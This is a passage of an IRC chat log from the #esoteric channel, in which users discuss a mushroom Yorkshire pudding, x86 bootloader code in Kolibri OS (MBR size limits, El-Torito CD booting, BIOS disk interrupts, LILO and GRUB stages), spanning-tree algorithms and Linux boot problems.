:oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as in, not entirely expected. < 1393871308 827534 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :#haskell-infrastructure sounds related to #cslounge-trains, but it's probably not < 1393871544 879169 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :good old megaharem < 1393872007 438229 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 265 seconds < 1393872197 706454 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393872951 905191 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393873039 240151 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393873177 152545 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1393873184 621191 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Those of you who know more about cooking than me (most of you): < 1393873204 511792 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am going to be making like a large Yorkshire Pudding with mushrooms cooked in < 1393873212 162804 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Would I need to fry the mushroom first? < 1393873384 494379 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay, i have no idea < 1393873423 235551 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :based on my research, yorkshire pudding does not contain mushrooms < 1393873425 700386 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Well, seeing as mushrooms are edible raw I think I should at least be safe not cooking them < 1393873434 816979 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :olsner, I am mixing things up < 1393873438 862621 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(so it's clearly a trick question) < 1393873440 599936 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I'm also adding chilli powder < 1393873480 306721 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this is clearly not the Queen's yorkshire pudding < 1393873498 200041 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, nothing's been the same in York since the Vikings attacked < 1393873514 430852 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think they brought chilli. < 1393873541 981010 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :ARE YOU SURE < 1393873544 666910 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :they may have brought mushrooms, although i'd suggest not eating those. < 1393873591 98249 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, not all mushrooms are edible raw even if they're edible cooked. < 1393873604 998663 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, I bought these in a supermarket < 1393873611 460685 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Like, 10 minutes ago < 1393873615 225525 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :some need heat treatment to break down poisons, or something. < 1393873667 451519 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, they'll get at least tome heat in the cooking of the Yorkshire batter < 1393873675 770290 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1393873683 135926 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :some also need to be boiled and the water discarded for a few cycles to get the poisons out of the mushrooms < 1393873714 660182 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :you probably shouldn't try to eat things that require so much processing to be safe to eat though < 1393873726 214946 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also advice: do not down a litre of milk. It will make it essentially useless to have bought milk in the first place and you will have to buy more milk. < 1393873741 952505 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :good point < 1393873765 309544 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(this actually happened to me today) < 1393873777 570306 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i solve that problem by not buying milk. < 1393873804 704103 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But then how do you eat cornflakes < 1393873809 116672 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't. < 1393873816 493226 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :HOW DO YOU EAT WEETOFLAKES < 1393873828 102332 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ditto(flakes) < 1393873836 889562 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::C < 1393874160 799196 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393874218 607784 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also, could I through some tomatoes in the batter too? < 1393874256 698649 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no. it is simply not spelt that weigh. < 1393874303 151978 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan, on the other hand, spells all words correctly. < 1393874305 662963 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :*throw :P < 1393874341 78118 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(though honestly, "weight" does not make much sense in that context.) < 1393874361 230168 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :gah. < 1393874380 889469 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :"weigh". I cannot copy words correctly, I should cut&paste. < 1393874800 78567 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393875281 202320 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1393877112 791110 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393877186 370168 :nooodl^!~nooodl@94-227-89-137.access.telenet.be JOIN :#esoteric < 1393877309 636720 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393877478 739409 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393877778 515259 :impomatic!~john_metc@89.206.243.204 QUIT :Ping timeout: 265 seconds < 1393878038 327754 :nooodl^!~nooodl@94-227-89-137.access.telenet.be QUIT :Ping timeout: 240 seconds < 1393878060 595715 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1393878177 328848 :nooodl^!~nooodl@94-227-89-137.access.telenet.be JOIN :#esoteric < 1393878918 327092 :nooodl^!~nooodl@94-227-89-137.access.telenet.be QUIT :Ping timeout: 240 seconds < 1393878973 264170 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1393878996 326763 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393879092 715841 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1393879273 47738 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1393879945 637819 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393880998 781693 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Read error: Connection reset by peer < 1393881032 36686 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393882508 649882 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393882698 361952 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393883434 286283 :atrapado!~ddd@unaffiliated/atrapado QUIT :Quit: Leaving < 1393883601 760987 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1393883762 101699 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393884874 412472 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1393884942 831122 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393885318 653168 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am looking at a code thing < 1393885320 933219 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :And it's like < 1393885321 877248 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric : push 0xb800 < 1393885322 62130 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric : pop es < 1393885325 952171 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :and I'm like < 1393885327 227221 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :what? < 1393885332 937956 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Why would you do such a thing < 1393885349 969280 :atslash!~atslash@46.72.83.247 QUIT :Quit: This computer has gone to sleep < 1393885354 847371 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Wouldn't using a register be faster? < 1393885378 337266 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1393885507 312183 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Slereah_: is this compiler-generated? < 1393885525 215597 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It is from Kolibri OS, which brags about being "entirely written in x86" < 1393885773 337861 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ooooh, it uses lodsb followed by stosw < 1393885783 681262 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :That's a neat trick to move things in the memory < 1393885798 495529 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :probably some x86 weirdness then < 1393885832 316114 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Maybe because it's shorter? < 1393885840 173972 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's in the bootloader so size might be an issue < 1393885879 553697 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :to load a segment register with a constant the common alternatives are push/pop or something like mov ax,imm; mov cs,ax, I think they are equivalent (not sure which is shorter) < 1393885905 680275 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :because obviously you can't just mov cs,imm < 1393885910 567450 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I know < 1393885925 77580 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :But aren't memory access usually longer < 1393885949 276879 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :stack instructions are short < 1393885968 754540 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :maybe they don't have free registers to use. < 1393885970 781145 :nooodl!~nooodl@91.177.100.186 JOIN :#esoteric < 1393885977 615062 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Could be < 1393885984 46402 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :iinm pop es is even single-byte while mov es,ax would be two bytes < 1393885984 947660 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or maybe it doesn't matter too much < 1393886007 430353 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Yeah, might be that < 1393886017 159304 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Bootloaders are limited to 512 bytes, no? < 1393886028 150954 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :They might be tight for space < 1393886038 740902 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :512 - 2 - 64 bytes < 1393886048 85993 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Even tighter < 1393886063 890499 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :2 is for the AA55 thing I suppose, but why 64? < 1393886104 858904 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :for the partition table < 1393886147 516515 :MoALTz_!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393886158 735150 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :That's for multiboots, though, no? < 1393886210 945500 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :of course you can put code in the partition table if you don't use it and know that nothing else will try to < 1393886263 72767 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's also only relevant for the MBR of a partitioned device. < 1393886274 688982 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Not the boot sector of a floppy, or the boot sector of a particular partition. < 1393886298 568111 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or a CD or whatevs < 1393886312 905433 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :CD booting is kind of different. < 1393886341 639229 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 252 seconds < 1393886372 325578 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393886373 219325 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :In what way? < 1393886395 495445 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1393886406 265655 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In all ways. You have a boot record as a part of the ISO file system, and it can specify the number of blocks to load, for one thing. < 1393886416 931982 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also there's floppy and hard disk emulation modes.) < 1393886429 955001 :itsy!~digital_w@37.152.198.84 PRIVMSG #esoteric :Just back from the programming games talk in Nottingham :-) < 1393886430 140463 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ISO-9660, that is. < 1393886451 794627 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :So no bootstrap limit? < 1393886469 801852 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I'm sure there's some limit. But it's not 512 bytes, I believe. < 1393886521 829802 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Neat < 1393886545 219485 :MoALTz_!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 240 seconds < 1393886548 405789 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :logical partitions include partition tables in their boot sectors... I guess they might have a boot loader there too (unless the MBR handles booting of logical partitions too) < 1393886564 585307 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :or whatever the name is for the partitions that contain logical partitions < 1393886568 986380 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393886618 322592 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :olsner: "extended partition", I think. < 1393886624 946588 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Something like that, anyway. < 1393886636 659153 :Slereah__!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1393886657 918628 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393886661 292125 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh buns. < 1393886727 755320 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There seems to be no particular limit to the sector count in the El-Torito spec (the most standard bootable CD-ROM format), though it's a two-byte field. < 1393886747 475476 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can also specify a different load segment than 7C0. < 1393886778 560783 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :So... 64 k or so? < 1393886830 379677 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :64k sectors of 512 bytes, which would be 32 megabytes, far over what fits in the 20-bit address space. < 1393886921 532265 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's counted in terms of virtual 512-byte sectors, not physical CD sectors which are 2k.) < 1393886979 986539 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What happens to the boot loaded in the RAM by the way? < 1393886980 171711 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Is it deleted after the booting? < 1393886980 537424 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Computers are so full of things~ < 1393886987 938057 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :You learn something new every day < 1393887003 40117 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :it may or may not be overwritten by something else eventually < 1393887141 396479 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I believe it's common for OSes to completely ignore anything below 1MB and not use it ever (because sometimes firmware uses that memory for e.g. suspending or resuming) < 1393887204 675648 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am currently trying to discover where the loading of boot occurs in the code, because that bootloader is way too fucking big < 1393887211 195760 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It is no easy task < 1393887249 6331 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1393887252 470192 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393887315 403787 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1393887339 886488 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Re the original thing, "push 0xb800; pop es" does have the side effect of also writing that constant in memory, but it'd have to be p. crafty code to take advantage of that. (The size hypothesis sounds more likely.) < 1393887355 105951 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1393887406 887876 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393887414 165703 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393887415 892574 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well fuck < 1393887467 337843 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Euclidean TSP issues are of course metric, but because of problems with floating point accuracy such instances are usually not considered in practice." hehhhhhh < 1393887472 921551 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 244 seconds < 1393887504 900434 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393887511 326483 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393887518 83056 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Et tu, internet? < 1393887534 876126 :Tritonio!~Thunderbi@athedsl-19747.home.otenet.gr QUIT :Ping timeout: 244 seconds < 1393887542 377285 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :There's a Kolibri version from two years ago, let's see if it's a bit more streamlined < 1393887600 843656 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Like perhaps I don't need the russian version of the boot < 1393887651 426201 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Aaaah I like this one more already < 1393887691 200430 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It starts out clear as hell < 1393887695 91202 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1393887696 359670 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :cld, xor the registers, bam! < 1393887700 482362 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Put some constants in! < 1393887722 282562 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Still has russian though < 1393887811 489017 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Here's a graph question I was wondering about: if you have a complete graph with weighted edges, does the greedy algorithm of "keep taking the lowest-weight edge that does not form a cycle in the selected edges" result in a minimum-weight spanning tree? It sounds reasonable at a glance. < 1393887845 264879 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, isn't that one of the standard algorithms? < 1393887922 697449 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Now that you mention it, I guess it's just Kruskal? < 1393887976 527367 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :not sure if it goes by "does not form a cycle" though, I remembered something more like pick the minimum-weight edge to any node that isn't connected < 1393888009 54751 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm, there is a boot_read_floppy function < 1393888059 907494 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :in the end everything is just repeated matrix multiplication with different operations < 1393888083 770241 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :olsner: Wikipedia's description says "connects two different trees", with the initialization being a forst of single-vertex trees. That sounds equivalent to "does not form a cycle (in any tree)". < 1393888108 258677 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Prim's algorithm is the one that grows a single tree. < 1393888142 810607 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Select any minimum-weight edge that connects the tree to any node not yet in the tree.) < 1393888164 284200 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393888193 248563 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Aaaah I see < 1393888199 412227 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It calls the interrupt "Read Sectors From Drive" < 1393888200 657081 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :good visible evening! < 1393888205 689156 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess that might be it < 1393888211 578577 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Borůvka's algorithm, known for having a ů in the name. < 1393888307 163606 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's the usual way. I guess you've heard that BIOS initializes dl to the disk number it loaded the MBR from before jumping to your bootloader? < 1393888331 245608 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess it does! < 1393888358 723737 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Not quite sure what the interrupt does though < 1393888361 874197 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's investigate < 1393888373 724532 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :based on the name maybe it reads sectors from drive? < 1393888380 681522 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Is there a site that describes like all the real mode interrupts? < 1393888383 619910 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. < 1393888385 817960 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Yes, but to do what with! < 1393888391 982795 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://www.ctyme.com/rbrown.htm < 1393888396 818934 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393888406 810729 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's the Definitive List. < 1393888424 91813 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Damn that's one fancy ass interrupt < 1393888424 562819 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :one of the things you might read from a boot loader is an operating system that you want to boot < 1393888434 837458 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1393888436 396375 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Thanks to all the really niche things, it can be a bit hard to browse.) < 1393888515 4514 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :So it takes a bunch of sectors from the device and puts it in the data buffer? < 1393888563 556828 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it's not like there's a unique interrupt called "read sectors from drive"; there's a number of them from different time periods. < 1393888597 624335 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Apparently there's a "Extended Read Sectors From Drive" too < 1393888600 296582 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Even fancier < 1393888613 869822 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :What with disks getting bigger and dropping the CHS addressing and so on. < 1393888687 329991 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Also boot_read_floppy does not seem to be actually used in this file, dagnabbit < 1393888735 656159 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or... anywhere? < 1393888834 28673 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :The recent version calls it, though, but apparently fairly late? < 1393888858 185074 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It seems way past the 512 byte limit so I am wondering < 1393889026 463489 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sometimes there's a multi-stage thing where the first 512 bytes uses a really simple loader to load K sectors from a fixed offset on the disk, and then that code has a fancier loader that can actually parse filesystem formats to figure out what to load. < 1393889081 689008 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or it may just be that there's a lot of whitespace and comments and metastuff < 1393889088 27848 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :and it really is under 512 < 1393889098 239230 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :But well, at least now I know < 1393889103 78114 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :And knowing is half the battle. < 1393889174 439799 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can ask many assemblers to produce code listings that have offsets, hexdumps of opcodes, and the source code. < 1393889218 616021 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Is there some really nifty assembly IDE? < 1393889232 66218 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Usually they just do syntax highlighting < 1393889237 544237 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Re the concept of "loading data from fixed offsets on the disk", I'll just say "LI" here.) < 1393889263 622623 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :LI? < 1393889279 976220 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's a "joke". < 1393889403 777723 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :LILO used to be a popular (the most popular?) boot loader for Linux on x86 before GRUB came along; it had a multi-stage loader like that, and for debugging it printed out the letters "LILO" one at a time at different times of the boot process. If you had moved the data files (or had some CHS/LBA mismatch going on), the most common place for it to get stuck was after priting "LI". < 1393889464 163763 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :heh < 1393889585 545904 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(GRUB, on the other hand, had boot loader stages 1, 2 and because that's not nearly enough, a stage 1.5 in-between.) < 1393889587 319244 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :boot bugs are the worst. i had a whole day of trouble a few weeks back because halfway through boot the usb port with the kernel image suddenly became inaccessible < 1393889643 804755 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Though I guess I don't have to worry too much about that if I use virtualbox < 1393889658 319692 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Should be consistent enough < 1393889670 159614 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION shudders at the thought of virtualbox < 1393889670 715079 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and i still don't know what causes that ugh < 1393889708 146683 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: My computer won't boot if I have the USB memory card reader and the SD card I use in the camera attached. It just hangs. < 1393889727 529854 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'm not gonna do bootloading on my own computer man < 1393889735 565823 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I don't want to reboot it a million times < 1393889768 434790 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: (And I don't mean it's trying to boot from the SD card, it hangs long before that, trying to do... something.) < 1393889773 573191 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :great < 1393889795 325133 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393889826 467191 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I guess it's trying to do some sort of an enumeration of devices and getting confused for some reason. < 1393889831 610937 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :while after that it got to actually booting linux but took whole minutes for each stage. irc help decided my drive was faulty, even though it was new and i couldn't find faults with SMART or anything. i think i hate linux tech support < 1393889963 588149 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: Speaking of Linux tech support my DVD drive keeps doing http://sprunge.us/DPHa is that a good sign? < 1393889986 628293 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :uh obviously, it says "succeeded" like nine times < 1393890051 452398 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Heh, i seems to have kept walking down the speeds, actually. < 1393890092 564508 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/ZDOg if at first you don't succeed... < 1393890271 965271 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :configure the shit out of it < 1393890410 552917 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://www.iwr.uni-heidelberg.de/groups/comopt/software/TSPLIB95/TSPLOGO.gif nice. < 1393891053 353989 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :man there was this one time when a standard arch update just like renamed grub.cfg to grub.cfg.old and left nothing in its place < 1393891074 624704 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :(the #archlinux response was just 'should've checked the update news you fucking idiot' of course) < 1393891180 688843 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :lol < 1393891355 91176 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`quote punched myself < 1393891356 180407 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :402) Look, I often walk my 